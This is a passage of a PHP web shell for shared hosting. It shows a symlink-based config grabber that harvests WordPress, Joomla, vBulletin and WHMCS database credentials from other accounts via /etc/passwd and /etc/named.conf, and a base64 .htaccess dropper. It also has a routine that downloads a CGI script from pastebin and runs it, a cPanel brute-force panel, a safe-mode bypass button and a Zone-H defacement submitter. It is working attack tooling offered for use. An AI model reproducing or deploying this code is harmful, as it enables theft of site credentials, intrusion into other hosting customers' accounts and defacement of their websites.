  2806. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  2807. symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  2808. symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  2809. symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  2810. symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  2811. symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  2812. symlink('/home7/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
  2813. symlink('/home7/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
  2814. symlink('/home7/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
  2815. symlink('/home7/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
  2816. symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  2817. symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  2818. symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  2819. symlink('/home7/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
  2820. symlink('/home7/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
  2821. symlink('/home7/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
  2822. symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  2823. symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  2824. symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  2825. symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  2826. symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  2827. symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  2828. symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  2829. symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  2830. symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  2831. symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
  2832. symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
  2833. symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  2834. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
  2835. symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
  2836. symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  2837. symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
  2838. symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  2839. symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  2840. symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  2841. }
  2842. $d0mains = @file("/etc/named.conf");
  2843. if($d0mains)
  2844. {
  2845. mkdir($fn);
  2846. chdir($fn);
  2847. foreach($d0mains as $d0main)
  2848. {
  2849. if(eregi("zone",$d0main))
  2850. {
  2851. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2852. flush();
  2853. if(strlen(trim($domains[1][0])) > 2)
  2854. {
  2855. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2856. syml($user['name'],$domains[1][0]);
  2857. }
  2858. }
  2859. }
  2860. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2861. }
  2862. else
  2863. {
  2864. mkdir($fn);
  2865. chdir($fn);
  2866. $temp = "";
  2867. $val1 = 0;
  2868. $val2 = 1000;
  2869. for(;$val1 <= $val2;$val1++)
  2870. {
  2871. $uid = @posix_getpwuid($val1);
  2872. if ($uid)
  2873. $temp .= join(':',$uid)."\n";
  2874. }
  2875. echo '<br/>';
  2876. $temp = trim($temp);
  2877. $file5 = fopen("test.txt","w");
  2878. fputs($file5,$temp);
  2879. fclose($file5);
  2880. $htaccess =
  2881. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  2882. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  2883. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  2884. ';
  2885. $file = fopen(".htaccess","w+");
  2886. $write = fwrite ($file ,base64_decode($htaccess));
  2887.  
  2888. $file = fopen("test.txt", "r") or exit("Unable to open file!");
  2889. while(!feof($file))
  2890. {
  2891. $s = fgets($file);
  2892. $matches = array();
  2893. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2894. $matches = str_replace("home/","",$matches[1]);
  2895. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2896. continue;
  2897. syml($matches,$matches);
  2898. }
  2899. fclose($file);
  2900. echo "</table>";
  2901. unlink("test.txt");
  2902. echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
  2903. }
  2904. exit;
  2905. }
  2906. ?>
  2907. <form method="POST" target="_blank">
  2908. <input name="page" type="hidden" value="find">
  2909. <table width="550" cellpadding="3" cellspacing="1" align="center" style="border:3px solid #EB4949;" border=1>
  2910. <tr>
  2911. <td valign="top" colspan="6" style="border-bottom:2px solid #EB4949;padding:10px;"><center><span style="font-family: Verdana;font-size:30px;font-weight:bold;text-shadow: <?php echo $color[0]; ?> 0.0em 0.0em 0.2em;">D.A.C CPanel Bruteforce</span><br>
  2912. </center></td>
  2913. </tr>
  2914. <tr>
  2915. <td valign="top" style="width: 200px;"><span class="label">Safe Mode</span></td>
  2916. <td valign="top" colspan="5"><span class="label">
  2917. <?php
  2918. $safe_mode = ini_get('safe_mode');
  2919. if($safe_mode=='1')
  2920. {
  2921. echo 'ON';
  2922. }else{
  2923. echo 'OFF';
  2924. }
  2925. ?>
  2926. </span>
  2927. </td>
  2928. </tr>
  2929. </form>
  2930. <tr>
  2931. <td valign="top"><span class="label">Disable Function</span></td>
  2932. <td valign="top" colspan="5">
  2933. <form method="POST" target="?cp">
  2934. <input name="matikan" type="hidden" value="sekatan">
  2935. <?php
  2936. if(''==($func=@ini_get('disable_functions')))
  2937. {
  2938. echo "<font color='#EB4949' style='position:absolute;font-size:13px;'>No Security for Function</font>";
  2939. echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><font color="#EB4949" style="font-size:13px;">Success</font></td></tr>';
  2940. }else{
  2941. echo '<script>alert("\t Please See Below And Press \t \n \t --->| Click Here First! |<--- \t");</script>';
  2942. echo "<font color=#FF0000 style='position:relatif;font-size:13px;'>$func</font>";
  2943. echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><input type="submit" value="Click Here First!"></td></tr>';
  2944. }
  2945. ?></form></td>
  2946. <form method="POST" target="?cp">
  2947. <input name="mendapatkan" type="hidden" value="passwd">
  2948. <tr>
  2949. <td valign="top"><span class="label">Get Config</span></td>
  2950. <td valign="top"><input size="35" name="foldername" type="text" value="create_name_folder_config"> <input type="submit" value="Submit"></td>
  2951. </td>
  2952. </tr>
  2953. </form>
  2954. <form method="POST" target="_blank">
  2955. <input name="pass1" type="hidden" value="password">
  2956. <tr>
  2957. <td valign="top"><span class="label">Get Passlist</span></td>
  2958. <td valign="top"><input size="35" name="url" type="text" value="url_of_config"> <input type="submit" value="Submit"></td>
  2959. </td>
  2960. </tr>
  2961. </form>
  2962. <tr>
  2963. <td valign="top">
  2964. <span class="label">Userlist</span></td>
  2965. <td valign="top" colspan="5"><textarea cols="40" rows="7" name="usernames"><?php system('ls /var/mail');?></textarea></td>
  2966. </tr>
  2967. <tr>
  2968. <td valign="top">
  2969. <span class="label">Passlist</span></td>
  2970. <td valign="top"colspan="5"><textarea cols="40" rows="7" name="passwords"></textarea></td>
  2971. </tr>
  2972. <tr>
  2973. <td valign="top">
  2974. <span class="label">Type</span></td>
  2975. <td valign="top" colspan="5">
  2976. <input type="radio" name="type" value="simple" checked="checked"><span class="label">Simple</span>
  2977. <input type="radio" name="type" value="passwd"><span class="label">/etc/passwd</span>
  2978. <input type="submit" value="Submit">
  2979. </td>
  2980. </tr>
  2981. </form>
  2982.  
  2983.  
  2984. </table>
  2985. </body>
  2986. </html>
  2987. <?php exit;
  2988. }
  2989.  
  2990. function actionconfiggrab() {
  2991. printHeader();
  2992.  
  2993. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2994. $expld = explode('/',$furl );
  2995. $burl =str_replace(end($expld),'',$furl);
  2996. echo '<div class="content"><center>
  2997. <h3>[ <a href="#" onclick="g(\'configgrab\',null,\'xdxd\',null)">Config Grabber[f-g-c]</a> ] -
  2998. [ <a href="#" onclick="g(\'configgrab\',null,\'xdxd2\',null)">Config Grabber[Perl]<sup style="color:red;text-decoration:blink;"></sup></a> ]';
  2999.  
  3000.  
  3001. if(isset($_POST['p1']) && $_POST['p1']=='xdxd') { $User = $_POST['p1']; system('mkdir xd'); chmod('xd', 0777); if($User){ $users = file("/etc/passwd"); $lolx = array(); foreach ($users as $user) { $users = explode(":", $user); $lolx[] = $users[0]; } foreach ($lolx as $lol) { $space = "\n\n"."*"."\n"."*"."\n"."*"."\n\n"; if(file_exists('/home/'.$lol.'public_html/portal/configuration.php')){ $content = file_get_contents('/home/'.$lol.'public_html/portal/configuration.php'); $handle = fopen('xd/whm.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/inc/config.php')){ $content1 = file_get_contents('/home/'.$lol.'/public_html/inc/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/sites/default/settings.php')) { $content2 = file_get_contents('/home/'.$lol.'/public_html/sites/default/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content2.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/configure.php')) { $content3 = file_get_contents('/home/'.$lol.'/public_html/includes/configure.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content3.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/lib/config.php')) { $content4 = file_get_contents('/home/'.$lol.'/public_html/lib/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content4.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config/koneksi.php')) { $content5 = file_get_contents('/home/'.$lol.'/public_html/config/koneksi.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content5.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/vb/includes/config.php')) { $content6 = file_get_contents('/home/'.$lol.'/public_html/vb/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content6.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/config.php')) { $content7 = file_get_contents('/home/'.$lol.'/public_html/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content7.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content8 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content8.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/cc/includes/config.php')) { $content9 = file_get_contents('/home/'.$lol.'/public_html/cc/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content9.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/config.php')) { $content10 = file_get_contents('/home/'.$lol.'/public_html/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content10.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/forum/includes/config.php')) { $content11 = file_get_contents('/home/'.$lol.'/public_html/forum/includes/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content11.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content12 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content12.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/wp-config.php')) { $content13 = file_get_contents('/home/'.$lol.'/public_html/blog/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content13.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp/wp-config.php')) { $content14 = file_get_contents('/home/'.$lol.'/public_html/wp/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content14.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/wp-config.php')) { $content15 = file_get_contents('/home/'.$lol.'/public_html/home/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content15.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/wp-config.php')) { $content16 = file_get_contents('/home/'.$lol.'/public_html/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content16.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/wp-config.php')) { $content17 = file_get_contents('/home/'.$lol.'/public_html/main/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content17.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/wp-config.php')) { $content18 = file_get_contents('/home/'.$lol.'/public_html/site/wp-config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content18.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/configuration.php')) { $content19 = file_get_contents('/home/'.$lol.'/public_html/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content19.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/blog/configuration.php')) { $content20 = file_get_contents('/home/'.$lol.'/public_html/blog/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content20.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/joomla/configuration.php')) { $content21 = file_get_contents('/home/'.$lol.'/public_html/joomla/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content21.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/main/configuration.php')) { $content22 = file_get_contents('/home/'.$lol.'/public_html/main/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content22.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/home/configuration.php')) { $content23 = file_get_contents('/home/'.$lol.'/public_html/home/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content23.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/site/configuration.php')) { $content24 = file_get_contents('/home/'.$lol.'/public_html/site/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content24.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whm/configuration.php')) { $content25 = file_get_contents('/home/'.$lol.'/public_html/whm/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content25.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmc/configuration.php')) { $content26 = file_get_contents('/home/'.$lol.'/public_html/whmc/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content26.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/support/configuration.php')) { $content27 = file_get_contents('/home/'.$lol.'/public_html/support/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content27.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/client/configuration.php')) { $content28 = file_get_contents('/home/'.$lol.'/public_html/client/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content28.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billings/configuration.php')) { $content29 = file_get_contents('/home/'.$lol.'/public_html/billings/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content29.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/billing/configuration.php')) { $content30 = file_get_contents('/home/'.$lol.'/public_html/billing/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content30.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/clients/configuration.php')) { $content31 = file_get_contents('/home/'.$lol.'/public_html/clients/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content31.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/whmcs/configuration.php')) { $content32 = file_get_contents('/home/'.$lol.'/public_html/whmcs/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content32.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/order/configuration.php')) { $content33 = file_get_contents('/home/'.$lol.'/public_html/order/configuration.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content33.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/conf.php')) { $content34 = file_get_contents('/home/'.$lol.'/public_html/admin/conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content34.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/admin/config.php')) { $content35 = file_get_contents('/home/'.$lol.'/public_html/admin/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content35.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/conf_global.php')) { $content36 = file_get_contents('/home/'.$lol.'/public_html/conf_global.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content36.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content37 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content37.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/connect.php')) { $content38 = file_get_contents('/home/'.$lol.'/public_html/connect.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content38.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/mk_conf.php')) { $content39 = file_get_contents('/home/'.$lol.'/public_html/mk_conf.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content39.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/config.php')) { $content40 = file_get_contents('/home/'.$lol.'/public_html/include/config.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content40.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/settings.php')) { $content41 = file_get_contents('/home/'.$lol.'/public_html/settings.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content41.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/includes/functions.php')) { $content42 = file_get_contents('/home/'.$lol.'/public_html/includes/functions.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content42.$space); fclose($handle); } elseif (file_exists('/home/'.$lol.'/public_html/include/db.php')) { $content43 = file_get_contents('/home/'.$lol.'/public_html/include/db.php'); $handle = fopen('xd/config.txt', 'a'); fwrite($handle, $content43.$space); fclose($handle); } } $url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/xd/'; if(file_exists("xd/config.txt")){ echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> Config Found ^_^</a></center></h3>'; } else { echo '<br><h3 class="xd"><center><a href="' . $url . '" target="_blank"> 0 Config Grab </a></center></h3>'; } } }
  3002.  
  3003. if(isset($_POST['p1']) && $_POST['p1']=='xdxd2') {
  3004.  
  3005. $dir = 'plconfig';
  3006. @mkdir($dir);
  3007. if($dir){
  3008. echo '<br><center> plconfig Has Been Created ~</center>';
  3009. } else {
  3010. echo '<br><center> [-] Error !</center>';
  3011. }
  3012. $htaccess = 'http://pastebin.com/raw.php?i=XBLhdvbQ';
  3013. $file = file_get_contents($htaccess);
  3014. $open = fopen('plconfig/.htaccess' , 'w');
  3015. fwrite($open,$file);
  3016. fclose($open);
  3017. if($open) {
  3018. echo '<br><center> [htaccess] => Has Been Created ~</center>';
  3019. } else {
  3020. echo "<br><center>[+] Error !</center>";
  3021. }
  3022. $con = 'http://pastebin.com/raw.php?i=sk8JEgq0';
  3023. $file = file_get_contents($con);
  3024. $open = fopen('plconfig/con.cpc' , 'w');
  3025. fwrite($open,$file);
  3026. fclose($open);
  3027. if($open) {
  3028. echo '<br><center> [cgi] => Has Been Created !</center>';
  3029. } else {
  3030. echo '<br><center>[-] Error !</center>';
  3031. }
  3032.  
  3033.  
  3034. $ch = 'plconfig/con.cpc';
  3035. chmod($ch, 0755);
  3036. if($cgip){
  3037. echo '<br><center>[+] => CHMOD To 755 Complete ~</center><br>';
  3038. } else {
  3039. }
  3040.  
  3041. echo ('<meta http-equiv="refresh" content="0; url=plconfig/con.cpc" />');
  3042. echo ('Please Wait . ');
  3043.  
  3044. }
  3045. printFooter();
  3046. }
  3047. function actionusefulla() {
  3048. printHeader();
  3049. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  3050. $expld = explode('/',$furl );
  3051. $burl =str_replace(end($expld),'',$furl);
  3052. echo '<div class="content"><center>';
  3053. $string = 1;
  3054. if($string == 1)
  3055. {
  3056. ?>
  3057. <br />
  3058. <div class="zoneh">
  3059. <center>
  3060. <form action="<?php echo $self;?>?submit=send" method="post">
  3061. <span>Notifier: </span><input name="defacer" size="67" id="text" value="Team_ProBro's" type="text"><br />
  3062. <span>Select Hack Method: </span><select name="hackmode">
  3063. <option value="">--------SELECT--------</option>
  3064. <option value="1" >known vulnerability (i.e. unpatched system)</option>
  3065. <option value="2" >undisclosed (new) vulnerability</option>
  3066. <option value="3" >configuration / admin. mistake</option>
  3067. <option value="4" >brute force attack</option>
  3068. <option value="5" >social engineering</option>
  3069. <option value="6" >Web Server intrusion</option>
  3070. <option value="7" >Web Server external module intrusion</option>
  3071. <option value="8" >Mail Server intrusion</option>
  3072. <option value="9" >FTP Server intrusion</option>
  3073. <option value="10" >SSH Server intrusion</option>
  3074. <option value="11" >Telnet Server intrusion</option>
  3075. <option value="12" >RPC Server intrusion</option>
  3076. <option value="13" >Shares misconfiguration</option>
  3077. <option value="14" >Other Server intrusion</option>
  3078. <option value="15" >SQL Injection</option>
  3079. <option value="16" >URL Poisoning</option>
  3080. <option value="17" >File Inclusion</option>
  3081. <option value="18" >Other Web Application bug</option>
  3082. <option value="19" >Remote administrative panel access through bruteforcing</option>
  3083. <option value="20" >Remote administrative panel access through password guessing</option>
  3084. <option value="21" >Remote administrative panel access through social engineering</option>
  3085. <option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
  3086. <option value="23" >Access credentials through Man In the Middle attack</option>
  3087. <option value="24" >Remote service password guessing</option>
  3088. <option value="25" >Remote service password bruteforce</option>
  3089. <option value="26" >Rerouting after attacking the Firewall</option>
  3090. <option value="27" >Rerouting after attacking the Router</option>
  3091. <option value="28" >DNS attack through social engineering</option>
  3092. <option value="29" >DNS attack through cache poisoning</option>
  3093. <option value="30" >Not available</option>
  3094. <option value="31" >Cross-Site Scripting</option>
  3095. </select>
  3096. <br />
  3097. <span>Select The Reason: </span><select name="reason">
  3098. <option value="">--------SELECT--------</option>
  3099. <option
  3100. value="1" >Heh...just for fun!</option>
  3101. <option value="2" >Revenge against that website</option>
  3102. <option value="3" >Political reasons</option>
  3103. <option value="4" >As a challenge</option>
  3104. <option value="5" >I just want to be the best defacer</option>
  3105. <option value="6" >Patriotism</option>
  3106. <option value="7" >Not available</option>
  3107. </select><br />
  3108. <textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
  3109. <br />
  3110. <input type="submit" value="send" />
  3111. </form>
  3112.  
  3113. </center>
  3114. <?php
  3115.  
  3116.  
  3117. }
  3118. printFooter();
  3119. }
  3120.  
  3121. if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
  3122. printHeader();
  3123. $defacer= $_REQUEST['defacer'];
  3124. $hackmode= $_REQUEST['hackmode'];
  3125. $reason= $_REQUEST['reason'];
  3126. $domains= $_REQUEST['domains'];
  3127. $domains_list=explode("\n",$domains);
  3128.  
  3129. if (empty($defacer))
  3130. {
  3131. die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier Name</font></b></center>");
  3132. }
  3133. elseif($hackmode == "")
  3134. {
  3135. die("<center><b><font color =\"#FF0000\">You Must Select The Method</b></font></center>");
  3136. }
  3137. elseif($reason == "")
  3138. {
  3139. die("<center><b><font color =\"#FF0000\">You Must Select The Reason</b></font></center>");
  3140. }
  3141. elseif(empty($domains))
  3142. {
  3143. die("<center><b><font color =\"#FF0000\">You Must Enter The Sites List<font></b></center>");
  3144. }
  3145.  
  3146.  
  3147. for($i=0;$i<count($domains_list);$i++) {
  3148.  
  3149. if(substr($domains_list[$i], 0, 4) != "http")
  3150. {
  3151. $domains_list[$i] = "http://".$domains_list[$i];
  3152. }
  3153. $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
  3154.  
  3155. $curl = curl_init();
  3156. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  3157. curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
  3158. curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
  3159. curl_setopt($curl,CURLOPT_TIMEOUT, 120);
  3160. curl_setopt($curl,CURLOPT_POST,TRUE);
  3161. curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
  3162. $a = curl_exec($curl);
  3163. curl_close($curl);
  3164. }
  3165. echo "<pre style=\"margin-top:5px\"><br><center><font color =\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!</b><br><br>Visit Your --> <a target='_blank' href='http://zone-h.org/archive/notifier=".$defacer."/published=0'>Zone-h</a> <--<font></center>";
  3166.  
  3167. printFooter(); exit;
  3168. }
  3169. function actionusescript() {
  3170. printHeader();
  3171. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  3172. $expld = explode('/',$furl );
  3173. $burl =str_replace(end($expld),'',$furl);
  3174. echo '<div class="content"><center>
  3175. <h3>[ <a href="#" onclick="g(\'usescript\',null,\'python\',null)">Python Symlink</a> ] -
  3176. [ <a href="#" onclick="g(\'usescript\',null,\'perl\',null)">Perl Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
  3177. [ <a href="#" onclick="g(\'usescript\',null,\'blacksym\',null)">Black Scorpion (PhP)Symlink</a> ] -
  3178. [ <a href="#" onclick="g(\'usescript\',null,\'phpsym\',null)">Php Symlnik(Usr)</a> ] -
  3179. [ <a href="#" onclick="g(\'usescript\',null,\'phpsym1\',null)">Php Symlnik(Usr+Domain)</a> ]</h3><br></center>';
  3180. if(isset($_POST['p1']) && $_POST['p1']=='blacksym'){
  3181. ?>
  3182.  
  3183. <center><span>Just Click On "Click To Make Symlink" To Start The Process</span><br><br></center>
  3184.  
  3185. <?php
